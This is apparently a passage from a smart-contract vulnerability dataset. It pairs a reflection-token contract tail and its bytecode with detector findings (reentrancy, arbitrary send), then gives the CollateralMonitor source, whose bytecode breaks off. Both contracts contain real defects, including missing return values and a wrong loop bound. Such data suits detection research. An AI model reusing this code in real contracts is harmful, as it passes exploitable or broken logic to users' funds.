(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052c565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b5061020561054a565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610557565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105de565b005b34801561029b57600080fd5b506102a4610657565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065c565b3480156102f257600080fd5b5061028d6106d2565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610706565b34801561033a57600080fd5b5061028d610770565b34801561034f57600080fd5b50610358610812565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610821565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610840565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610854945050505050565b34801561047e57600080fd5b5061028d610908565b34801561049357600080fd5b5061028d610945565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d2c565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e31565b60408051808201909152601181527011dc99595b909d5b1b0b90d85c1a5d185b607a1b602082015290565b6000610540610539610e5c565b8484610e60565b5060015b92915050565b683635c9adc5dea0000090565b6000610564848484610f4c565b6105d484610570610e5c565b6105cf85604051806060016040528060288152602001611fc3602891396001600160a01b038a166000908152600460205260408120906105ae610e5c565b6001600160a01b031681526020810191909152604001600020549190611322565b610e60565b5060019392505050565b6105e6610e5c565b6000546001600160a01b03908116911614610636576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610664610e5c565b6000546001600160a01b039081169116146106b4576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e6610e5c565b6001600160a01b0316146106f957600080fd5b47610703816113b9565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074657506001600160a01b03811660009081526003602052604090205461076b565b6001600160a01b0382166000908152600260205260409020546107689061143e565b90505b919050565b610778610e5c565b6000546001600160a01b039081169116146107c8576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600581526411d095531360da1b602082015290565b600061054061084d610e5c565b8484610f4c565b61085c610e5c565b6000546001600160a01b039081169116146108ac576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60005b8151811015610904576001600760008484815181106108ca57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108af565b5050565b6010546001600160a01b031661091c610e5c565b6001600160a01b03161461092f57600080fd5b600061093a30610706565b90506107038161149e565b61094d610e5c565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109fc576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a459030906001600160a01b0316683635c9adc5dea00000610e60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7e57600080fd5b505afa158015610a92573d6000803e3d6000fd5b505050506040513d6020811015610aa857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af857600080fd5b505afa158015610b0c573d6000803e3d6000fd5b505050506040513d6020811015610b2257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d6020811015610b9e57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd081610706565b600080610bdb610812565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4657600080fd5b505af1158015610c5a573d6000803e3d6000fd5b50505050506040513d6060811015610c7157600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cfd57600080fd5b505af1158015610d11573d6000803e3d6000fd5b505050506040513d6020811015610d2757600080fd5b505050565b610d34610e5c565b6000546001600160a01b03908116911614610d84576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60008111610dd9576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610df76064610df1683635c9adc5dea000008461166c565b906116c5565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea55760405162461bcd60e51b81526004018080602001828103825260248152602001806120596024913960400191505060405180910390fd5b6001600160a01b038216610eea5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f806022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f915760405162461bcd60e51b81526004018080602001828103825260258152602001806120346025913960400191505060405180910390fd5b6001600160a01b038216610fd65760405162461bcd60e51b8152600401808060200182810382526023815260200180611f336023913960400191505060405180910390fd5b600081116110155760405162461bcd60e51b815260040180806020018281038252602981526020018061200b6029913960400191505060405180910390fd5b61101d610812565b6001600160a01b0316836001600160a01b0316141580156110575750611041610812565b6001600160a01b0316826001600160a01b031614155b156112c557601354600160b81b900460ff1615611151576001600160a01b038316301480159061109057506001600160a01b0382163014155b80156110aa57506012546001600160a01b03848116911614155b80156110c457506012546001600160a01b03838116911614155b15611151576012546001600160a01b03166110dd610e5c565b6001600160a01b0316148061110c57506013546001600160a01b0316611101610e5c565b6001600160a01b0316145b611151576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116057600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a257506001600160a01b03821660009081526007602052604090205460ff16155b6111ab57600080fd5b6013546001600160a01b0384811691161480156111d657506012546001600160a01b03838116911614155b80156111fb57506001600160a01b03821660009081526005602052604090205460ff16155b80156112105750601354600160b81b900460ff165b15611258576001600160a01b038216600090815260086020526040902054421161123957600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126330610706565b601354909150600160a81b900460ff1615801561128e57506013546001600160a01b03858116911614155b80156112a35750601354600160b01b900460ff165b156112c3576112b18161149e565b4780156112c1576112c1476113b9565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130757506001600160a01b03831660009081526005602052604090205460ff165b15611310575060005b61131c84848484611707565b50505050565b600081848411156113b15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137657818101518382015260200161135e565b50505050905090810190601f1680156113a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d38360026116c5565b6040518115909202916000818181858888f193505050501580156113fb573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114168360026116c5565b6040518115909202916000818181858888f19350505050158015610904573d6000803e3d6000fd5b6000600a548211156114815760405162461bcd60e51b815260040180806020018281038252602a815260200180611f56602a913960400191505060405180910390fd5b600061148b611823565b905061149783826116c5565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114df57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153357600080fd5b505afa158015611547573d6000803e3d6000fd5b505050506040513d602081101561155d57600080fd5b505181518290600190811061156e57fe5b6001600160a01b0392831660209182029290920101526012546115949130911684610e60565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561161a578181015183820152602001611602565b505050509050019650505050505050600060405180830381600087803b15801561164357600080fd5b505af1158015611657573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261167b57506000610544565b8282028284828161168857fe5b04146114975760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa26021913960400191505060405180910390fd5b600061149783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611846565b80611714576117146118ab565b6001600160a01b03841660009081526006602052604090205460ff16801561175557506001600160a01b03831660009081526006602052604090205460ff16155b1561176a576117658484846118dd565b611816565b6001600160a01b03841660009081526006602052604090205460ff161580156117ab57506001600160a01b03831660009081526006602052604090205460ff165b156117bb57611765848484611a01565b6001600160a01b03841660009081526006602052604090205460ff1680156117fb57506001600160a01b03831660009081526006602052604090205460ff165b1561180b57611765848484611aaa565b611816848484611b1d565b8061131c5761131c611b61565b6000806000611830611b6f565b909250905061183f82826116c5565b9250505090565b600081836118955760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137657818101518382015260200161135e565b5060008385816118a157fe5b0495945050505050565b600c541580156118bb5750600d54155b156118c5576118db565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118ef87611cee565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119219088611d4b565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119509087611d4b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461197f9086611d8d565b6001600160a01b0389166000908152600260205260409020556119a181611de7565b6119ab8483611e6f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1387611cee565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a459087611d4b565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a7b9084611d8d565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461197f9086611d8d565b600080600080600080611abc87611cee565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aee9088611d4b565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a459087611d4b565b600080600080600080611b2f87611cee565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119509087611d4b565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cae57826002600060098481548110611b9f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c045750816003600060098481548110611bdd57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2257600a54683635c9adc5dea0000094509450505050611cea565b611c626002600060098481548110611c3657fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d4b565b9250611ca46003600060098481548110611c7857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d4b565b9150600101611b83565b50600a54611cc590683635c9adc5dea000006116c5565b821015611ce457600a54683635c9adc5dea00000935093505050611cea565b90925090505b9091565b6000806000806000806000806000611d0b8a600c54600d54611e93565b9250925092506000611d1b611823565b90506000806000611d2e8e878787611ee2565b919e509c509a509598509396509194505050505091939550919395565b600061149783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611322565b600082820183811015611497576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611df1611823565b90506000611dff838361166c565b30600090815260026020526040902054909150611e1c9082611d8d565b3060009081526002602090815260408083209390935560069052205460ff1615610d275730600090815260036020526040902054611e5a9084611d8d565b30600090815260036020526040902055505050565b600a54611e7c9083611d4b565b600a55600b54611e8c9082611d8d565b600b555050565b6000808080611ea76064610df1898961166c565b90506000611eba6064610df18a8961166c565b90506000611ed282611ecc8b86611d4b565b90611d4b565b9992985090965090945050505050565b6000808080611ef1888661166c565b90506000611eff888761166c565b90506000611f0d888861166c565b90506000611f1f82611ecc8686611d4b565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201b6d36901111372182742efc054492197e6addbb9e91d80e0886e6c4e58b13ed64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,453 |
0xed231a75b03c2cd388ee26d4f74abf88cb683e8c
|
/*
* CollateralMonitor
*
* This contract reports aggregated issuance
* and collateralisation statistics for the
* Havven stablecoin system.
*
* Author: Anton Jurisevic
* Date: 14/06/2018
* Version: nUSDa 1.0
*/
pragma solidity ^0.4.24;
contract Havven {
uint public price;
uint public issuanceRatio;
mapping(address => uint) public nominsIssued;
function balanceOf(address account) public view returns (uint);
function totalSupply() public view returns (uint);
function availableHavvens(address account) public view returns (uint);
}
contract Nomin {
function totalSupply() public view returns (uint);
}
contract HavvenEscrow {
function balanceOf(address account) public view returns (uint);
}
/**
* @title Safely manipulate unsigned fixed-point decimals at a given precision level.
* @dev Functions accepting uints in this contract and derived contracts
* are taken to be such fixed point decimals (including fiat, ether, and nomin quantities).
*/
contract SafeDecimalMath {
/* Number of decimal places in the representation. */
uint8 public constant decimals = 18;
/* The number representing 1.0. */
uint public constant UNIT = 10 ** uint(decimals);
/**
* @return True iff adding x and y will not overflow.
*/
function addIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return x + y >= y;
}
/**
* @return The result of adding x and y, throwing an exception in case of overflow.
*/
function safeAdd(uint x, uint y)
pure
internal
returns (uint)
{
require(x + y >= y);
return x + y;
}
/**
* @return True iff subtracting y from x will not overflow in the negative direction.
*/
function subIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y <= x;
}
/**
* @return The result of subtracting y from x, throwing an exception in case of overflow.
*/
function safeSub(uint x, uint y)
pure
internal
returns (uint)
{
require(y <= x);
return x - y;
}
/**
* @return True iff multiplying x and y would not overflow.
*/
function mulIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
if (x == 0) {
return true;
}
return (x * y) / x == y;
}
/**
* @return The result of multiplying x and y, throwing an exception in case of overflow.
*/
function safeMul(uint x, uint y)
pure
internal
returns (uint)
{
if (x == 0) {
return 0;
}
uint p = x * y;
require(p / x == y);
return p;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals. Throws an exception in case of overflow.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256.
* Incidentally, the internal division always rounds down: one could have rounded to the nearest integer,
* but then one would be spending a significant fraction of a cent (of order a microether
* at present gas prices) in order to save less than one part in 0.5 * 10^18 per operation, if the operands
* contain small enough fractional components. It would also marginally diminish the
* domain this function is defined upon.
*/
function safeMul_dec(uint x, uint y)
pure
internal
returns (uint)
{
/* Divide by UNIT to remove the extra factor introduced by the product. */
return safeMul(x, y) / UNIT;
}
/**
* @return True iff the denominator of x/y is nonzero.
*/
function divIsSafe(uint x, uint y)
pure
internal
returns (bool)
{
return y != 0;
}
/**
* @return The result of dividing x by y, throwing an exception if the divisor is zero.
*/
function safeDiv(uint x, uint y)
pure
internal
returns (uint)
{
/* Although a 0 denominator already throws an exception,
* it is equivalent to a THROW operation, which consumes all gas.
* A require statement emits REVERT instead, which remits remaining gas. */
require(y != 0);
return x / y;
}
/**
* @return The result of dividing x by y, interpreting the operands as fixed point decimal numbers.
* @dev Throws an exception in case of overflow or zero divisor; x must be less than 2^256 / UNIT.
* Internal rounding is downward: a similar caveat holds as with safeDecMul().
*/
function safeDiv_dec(uint x, uint y)
pure
internal
returns (uint)
{
/* Reintroduce the UNIT factor that will be divided out by y. */
return safeDiv(safeMul(x, UNIT), y);
}
/**
* @dev Convert an unsigned integer to a unsigned fixed-point decimal.
* Throw an exception if the result would be out of range.
*/
function intToDec(uint i)
pure
internal
returns (uint)
{
return safeMul(i, UNIT);
}
function min(uint a, uint b)
pure
internal
returns (uint)
{
return a < b ? a : b;
}
function max(uint a, uint b)
pure
internal
returns (uint)
{
return a > b ? a : b;
}
}
/**
* @title A contract with an owner.
* @notice Contract ownership can be transferred by first nominating the new owner,
* who must then accept the ownership, which prevents accidental incorrect ownership transfers.
*/
contract Owned {
address public owner;
address public nominatedOwner;
/**
* @dev Owned Constructor
*/
constructor(address _owner)
public
{
require(_owner != address(0));
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
/**
* @notice Nominate a new owner of this contract.
* @dev Only the current owner may nominate a new owner.
*/
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
/**
* @notice Accept the nomination to be owner.
*/
function acceptOwnership()
external
onlyNominatedOwner
{
owner = nominatedOwner;
nominatedOwner = address(0);
emit OwnerChanged(owner, nominatedOwner);
}
modifier onlyOwner
{
require(msg.sender == owner);
_;
}
modifier onlyNominatedOwner
{
require(msg.sender == nominatedOwner);
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
/*
* The CollateralMonitor queries and reports information
* about collateralisation levels of the network.
*/
contract CollateralMonitor is Owned, SafeDecimalMath {
Havven havven;
Nomin nomin;
HavvenEscrow escrow;
address[] issuers;
uint maxIssuers = 10;
constructor(Havven _havven, Nomin _nomin, HavvenEscrow _escrow)
Owned(msg.sender)
public
{
havven = _havven;
nomin = _nomin;
escrow = _escrow;
}
function setHavven(Havven _havven)
onlyOwner
external
{
havven = _havven;
}
function setNomin(Nomin _nomin)
onlyOwner
external
{
nomin = _nomin;
}
function setEscrow(HavvenEscrow _escrow)
onlyOwner
external
{
escrow = _escrow;
}
function setMaxIssuers(uint newMax)
onlyOwner
external
{
maxIssuers = newMax;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyNominatedOwner {
require(msg.sender == nominatedOwner);
_;
}
function pushIssuer(address issuer)
onlyOwner
public
{
for (uint i = 0; i < issuers.length; i++) {
require(issuers[i] != issuer);
}
issuers.push(issuer);
}
function pushIssuers(address[] newIssuers)
onlyOwner
external
{
for (uint i = 0; i < issuers.length; i++) {
pushIssuer(newIssuers[i]);
}
}
function deleteIssuer(uint index)
onlyOwner
external
{
uint length = issuers.length;
require(index < length);
issuers[index] = issuers[length - 1];
delete issuers[length - 1];
}
function resizeIssuersArray(uint size)
onlyOwner
external
{
issuers.length = size;
}
/**********************************\
collateral()
Reports the collateral available
for issuance of a given issuer.
\**********************************/
function collateral(address account)
public
view
returns (uint)
{
return safeAdd(havven.balanceOf(account), escrow.balanceOf(account));
}
/**********************************\
totalIssuingCollateral()
Reports the collateral available
for issuance of all issuers.
\**********************************/
function _limitedTotalIssuingCollateral(uint sumLimit)
internal
view
returns (uint)
{
uint sum;
uint limit = min(sumLimit, issuers.length);
for (uint i = 0; i < limit; i++) {
sum += collateral(issuers[i]);
}
return sum;
}
function totalIssuingCollateral()
public
view
returns (uint)
{
return _limitedTotalIssuingCollateral(issuers.length);
}
function totalIssuingCollateral_limitedSum()
public
view
returns (uint)
{
return _limitedTotalIssuingCollateral(maxIssuers);
}
/********************************\
collateralisation()
Reports the collateralisation
ratio of one account, assuming
a nomin price of one dollar.
\********************************/
function collateralisation(address account)
public
view
returns (uint)
{
safeDiv_dec(safeMul_dec(collateral(account), havven.price()),
havven.nominsIssued(account));
}
/********************************\
totalIssuerCollateralisation()
Reports the collateralisation
ratio of all issuers, assuming
a nomin price of one dollar.
\********************************/
function totalIssuerCollateralisation()
public
view
returns (uint)
{
safeDiv_dec(safeMul_dec(totalIssuingCollateral(), havven.price()),
nomin.totalSupply());
}
/********************************\
totalNetworkCollateralisation()
Reports the collateralisation
ratio of the entire network,
assuming a nomin price of one
dollar, and that havvens can
flow from non-issuer to issuer
accounts.
\********************************/
function totalNetworkCollateralisation()
public
view
returns (uint)
{
safeDiv_dec(safeMul_dec(havven.totalSupply(), havven.price()),
nomin.totalSupply());
}
/**************************************\
totalIssuanceDebt()
Reports the the (unbounded) number
of havvens that would be locked by
all issued nomins, if the collateral
backing them was unlimited.
\**************************************/
function totalIssuanceDebt()
public
view
returns (uint)
{
return safeDiv_dec(nomin.totalSupply(),
safeMul_dec(havven.issuanceRatio(), havven.price()));
}
function totalIssuanceDebt_limitedSum()
public
view
returns (uint)
{
uint sum;
uint limit = min(maxIssuers, issuers.length);
for (uint i = 0; i < limit; i++) {
sum += havven.nominsIssued(issuers[i]);
}
return safeDiv_dec(sum,
safeMul_dec(havven.issuanceRatio(), havven.price()));
}
/*************************************\
totalLockedHavvens()
Reports the the number of havvens
locked by all issued nomins.
This is capped by the actual number
of havvens in circulation.
\*************************************/
function totalLockedHavvens()
public
view
returns (uint)
{
return min(totalIssuanceDebt(), totalIssuingCollateral());
}
function totalLockedHavvens_limitedSum()
public
view
returns (uint)
{
return min(totalIssuanceDebt_limitedSum(), totalIssuingCollateral());
}
/****************************************************\
totalLockedHavvens_byAvailableHavvens_limitedSum()
Should be equivalent to
totalLockedHavvens_limitedSum() but it uses an
alternate computation method.
\****************************************************/
function totalLockedHavvens_byAvailableHavvens_limitedSum()
public
view
returns (uint)
{
uint sum;
uint limit = min(maxIssuers, issuers.length);
for (uint i = 0; i < limit; i++) {
address issuer = issuers[i];
sum += safeSub(collateral(issuer), havven.availableHavvens(issuer));
}
return sum;
}
}
|
0x60806040526004361061012f5763ffffffff60e060020a60003504166309d3770481146101345780631627540c1461015757806323fe614614610178578063244c91d4146101985780632a9ba092146101b0578063313ce567146101c857806337b9756b146101f35780633d1bd1bf1461021a5780634fa2b0a51461022f57806350754fac1461025057806353a47bb7146102655780635ab58d64146102965780635c8ea7fe146102ab57806362abda69146102cc5780636359b5b1146102e157806373d0fe48146102f657806379ba50971461030b5780638da5cb5b146103205780639d8e217714610335578063a021d76d1461034a578063a5fdc5de14610362578063b9c7ce4914610383578063c10c354614610398578063c747f120146103b9578063db6648c0146103ce575b600080fd5b34801561014057600080fd5b50610155600160a060020a03600435166103ef565b005b34801561016357600080fd5b50610155600160a060020a03600435166104a9565b34801561018457600080fd5b506101556004803560248101910135610514565b3480156101a457600080fd5b5061015560043561056b565b3480156101bc57600080fd5b50610155600435610587565b3480156101d457600080fd5b506101dd6105ae565b6040805160ff9092168252519081900360200190f35b3480156101ff57600080fd5b506102086105b3565b60408051918252519081900360200190f35b34801561022657600080fd5b506102086107aa565b34801561023b57600080fd5b50610155600160a060020a03600435166108b4565b34801561025c57600080fd5b506102086108ed565b34801561027157600080fd5b5061027a6109d0565b60408051600160a060020a039092168252519081900360200190f35b3480156102a257600080fd5b506102086109df565b3480156102b757600080fd5b50610155600160a060020a03600435166109ff565b3480156102d857600080fd5b50610208610a38565b3480156102ed57600080fd5b50610208610b1d565b34801561030257600080fd5b50610208610b2a565b34801561031757600080fd5b50610155610b37565b34801561032c57600080fd5b5061027a610bb5565b34801561034157600080fd5b50610208610bc4565b34801561035657600080fd5b50610155600435610bd0565b34801561036e57600080fd5b50610208600160a060020a0360043516610c88565b34801561038f57600080fd5b50610208610dc2565b3480156103a457600080fd5b50610155600160a060020a0360043516610dd1565b3480156103c557600080fd5b50610208610e0a565b3480156103da57600080fd5b50610208600160a060020a0360043516610e6d565b60008054600160a060020a0316331461040757600080fd5b5060005b6005548110156104565781600160a060020a031660058281548110151561042e57fe5b600091825260209091200154600160a060020a0316141561044e57600080fd5b60010161040b565b50600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0018054600160a060020a031916600160a060020a0392909216919091179055565b600054600160a060020a031633146104c057600080fd5b60018054600160a060020a038316600160a060020a0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b60008054600160a060020a0316331461052c57600080fd5b5060005b6005548110156105665761055e83838381811061054957fe5b90506020020135600160a060020a03166103ef565b600101610530565b505050565b600054600160a060020a0316331461058257600080fd5b600655565b600054600160a060020a0316331461059e57600080fd5b806105aa600582611029565b5050565b601281565b6000806000806105ca600654600580549050610eec565b9150600090505b818110156106865760025460058054600160a060020a0390921691636fb8f3509190849081106105fd57fe5b60009182526020808320909101546040805160e060020a63ffffffff8716028152600160a060020a0390921660048301525160248083019491928390030190829087803b15801561064d57600080fd5b505af1158015610661573d6000803e3d6000fd5b505050506040513d602081101561067757600080fd5b505192909201916001016105d1565b6107a28361079d600260009054906101000a9004600160a060020a0316600160a060020a031663b410a0346040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106e057600080fd5b505af11580156106f4573d6000803e3d6000fd5b505050506040513d602081101561070a57600080fd5b5051600254604080517fa035b1fe0000000000000000000000000000000000000000000000000000000081529051600160a060020a039092169163a035b1fe916004808201926020929091908290030181600087803b15801561076c57600080fd5b505af1158015610780573d6000803e3d6000fd5b505050506040513d602081101561079657600080fd5b5051610f04565b610f2a565b935050505090565b60008060008060006107c3600654600580549050610eec565b9250600091505b828210156108ab5760058054839081106107e057fe5b600091825260209091200154600160a060020a0316905061089c61080382610c88565b600254604080517ff876fe1a000000000000000000000000000000000000000000000000000000008152600160a060020a0386811660048301529151919092169163f876fe1a9160248083019260209291908290030181600087803b15801561086b57600080fd5b505af115801561087f573d6000803e3d6000fd5b505050506040513d602081101561089557600080fd5b5051610f47565b909301926001909101906107ca565b50919392505050565b600054600160a060020a031633146108cb57600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60006109cc610948600260009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106e057600080fd5b600360009